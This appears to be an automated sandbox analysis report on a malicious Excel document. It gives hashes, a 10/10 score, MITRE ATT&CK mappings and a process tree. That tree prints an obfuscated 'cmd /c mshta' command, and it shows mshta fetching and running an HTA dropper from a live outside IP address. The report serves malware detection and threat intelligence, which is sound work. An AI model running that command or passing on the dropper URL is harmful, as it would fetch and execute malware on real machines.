95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294

General

Target

?i=1bzuwlzki.xls
Size

142KB
MD5

0c890caa5574298838e2463f2a9eec1f
SHA1

84616f046e7b29279d4a5af740b8524cd1b02a6e
SHA256

95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294
SHA512

d7ca540e210ad4d7efdb9061a2915e2a790cff59ebf69f21f79540c0ab62c4b1bc16b51cc6a5f408a0f49544a6b15c2461a1f3a59385d7574c1f858b6ce44d03

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/ve/ve.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1400	1476	cmd.exe	77

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	624	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1476	EXCEL.EXE

Suspicious use of SetWindowsHookEx 23 IoCs

pid	Process
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 1400	1476	EXCEL.EXE	82
PID 1476 wrote to memory of 1400	1476	EXCEL.EXE	82
PID 1400 wrote to memory of 624	1400	cmd.exe	84
PID 1400 wrote to memory of 624	1400	cmd.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1bzuwlzki.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\system32\mshta.exe
    mshta http://185.7.214.7/ve/ve.html
    3⤵
    - Blocklisted process makes network request
    PID:624

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1476-130-0x00007FF89C9D0000-0x00007FF89C9E0000-memory.dmp

Filesize
64KB

Download
memory/1476-131-0x00007FF89C9D0000-0x00007FF89C9E0000-memory.dmp

Filesize
64KB

Download
memory/1476-132-0x00007FF89C9D0000-0x00007FF89C9E0000-memory.dmp

Filesize
64KB

Download
memory/1476-133-0x00007FF89C9D0000-0x00007FF89C9E0000-memory.dmp

Filesize
64KB

Download
memory/1476-134-0x00007FF89C9D0000-0x00007FF89C9E0000-memory.dmp

Filesize
64KB

Download
memory/1476-135-0x00007FF89A150000-0x00007FF89A160000-memory.dmp

Filesize
64KB

Download
memory/1476-136-0x00007FF89A150000-0x00007FF89A160000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads